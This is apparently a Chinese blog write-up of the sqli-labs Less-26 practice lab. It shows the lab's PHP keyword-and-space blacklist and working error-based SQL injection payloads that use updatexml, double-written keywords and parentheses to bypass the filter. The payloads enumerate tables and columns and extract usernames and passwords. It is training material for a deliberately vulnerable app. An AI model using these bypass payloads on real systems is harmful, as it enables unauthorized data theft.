sqli-labs-Less-26

SQLI-LAPS 实验记录

Less-26

这一关给出的提示信息显示对空格和注释符进行了过滤,但从源码来看,不仅是空格和注释符,还包括'or','and','/'等等,结合上一关的经验,我们保留使用双写绕过的方式,增加以 '()' 来绕过空格的方式进行注入。

php 复制代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
1' anandd (updatexml(1,concat(0x7e,database(),0x7e),1)) anandd '1'='1

结果如图所示,可以看到页面成功返回数据库名称:security。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找表名:

    php 复制代码
    1' anandd (updatexml(1,(concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e)),1)) anandd '1'='1 
  • 查找列名:

    php 复制代码
    1' anandd (updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'),0x7e),1)) anandd '1'='1

    查找其他数据:

    复制代码
    1' anandd (updatexml(1,concat(0x7e,(select(concat(username,':',passwoorrd))from(security.users)where(id=1)),0x7e),1)) anandd '1'='1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
一 乐2 小时前
在线考试|基于springboot + vue在线考试系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·课程设计
yufuu982 小时前
Python数据库操作:SQLAlchemy ORM指南
jvm·数据库·python
爱技术的小伙子2 小时前
【 Docker 快速部署 MySQL 8.0(2026最新实践)—— 一键启动 + 数据持久化 + 常见优化】
mysql·adb·docker
ahauedu2 小时前
在 MySQL 中设置 `max_allowed_packet` 参数的几种方法
数据库·mysql
DolphinScheduler社区2 小时前
深度探秘 Apache DolphinScheduler 数据库模式
数据库·开源·apache·开源社区·海豚调度·大数据工作流调度
砚边数影2 小时前
时序数据库InfluxDB迁移替换实测,运维成本显著优化
运维·数据库·时序数据库·kingbase·kingbasees·金仓数据库
Apple_羊先森2 小时前
ORACLE数据库巡检SQL脚本--1、检查表空间使用情况
数据库·sql·oracle
Lust Dusk2 小时前
如何通过GitHub找到一个人?
安全·网络安全·github
LaughingZhu2 小时前
Product Hunt 每日热榜 | 2026-01-28
数据库·经验分享·神经网络·搜索引擎·chatgpt